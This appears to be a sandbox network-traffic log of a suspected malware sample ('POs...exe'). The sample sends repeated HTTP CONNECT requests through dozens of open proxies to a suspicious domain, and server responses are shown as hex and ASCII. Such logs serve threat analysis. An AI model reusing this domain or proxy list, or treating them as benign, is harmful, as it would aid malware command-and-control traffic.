Mar 11, 2024 16:42:25.332727909 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1314	192.168.2.11	53709	45.140.189.95	29003	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.175033092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.188914061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.252974033 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1315	192.168.2.11	54120	103.166.141.74	20074	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.189871073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1316	192.168.2.11	54128	177.67.136.241	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.189910889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1317	192.168.2.11	53737	119.3.215.41	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.189965963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1318	192.168.2.11	54292	192.154.246.96	9000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.191111088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1319	192.168.2.11	54249	172.67.181.107	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.191688061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.346121073 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1320	192.168.2.11	54259	104.24.136.68	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.191904068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.346136093 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1321	192.168.2.11	52490	163.172.94.175	38390	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.192013025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.376065016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.376471043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.485965014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.579091072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.579066038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.579073906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:37.579063892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:25.578931093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1322	192.168.2.11	54306	104.21.80.83	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.194168091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.348587990 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1323	192.168.2.11	49743	200.174.198.95	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.194243908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.620198011 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:42:27.512267113 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1324	192.168.2.11	54140	94.131.14.66	1081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.195897102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1325	192.168.2.11	53712	47.103.112.86	8899	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.196468115 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:25.514708996 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 39 32 33 37 32 30 31 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003909237201"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1326	192.168.2.11	54173	203.222.24.36	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.203360081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.502710104 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1327	192.168.2.11	54205	161.132.125.244	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.203557968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.887218952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.723223925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.504600048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938775063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.258896112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.641974926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.157211065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.282227993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1328	192.168.2.11	54178	27.96.235.171	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.206480980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1329	192.168.2.11	52429	60.12.168.114	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.219374895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.738159895 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 16:21:09 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1330	192.168.2.11	54327	172.67.255.224	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.220624924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.375452995 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1331	192.168.2.11	54202	3.123.150.192	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.229424000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.536429882 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:25 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1332	192.168.2.11	54155	116.106.105.55	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.250571012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

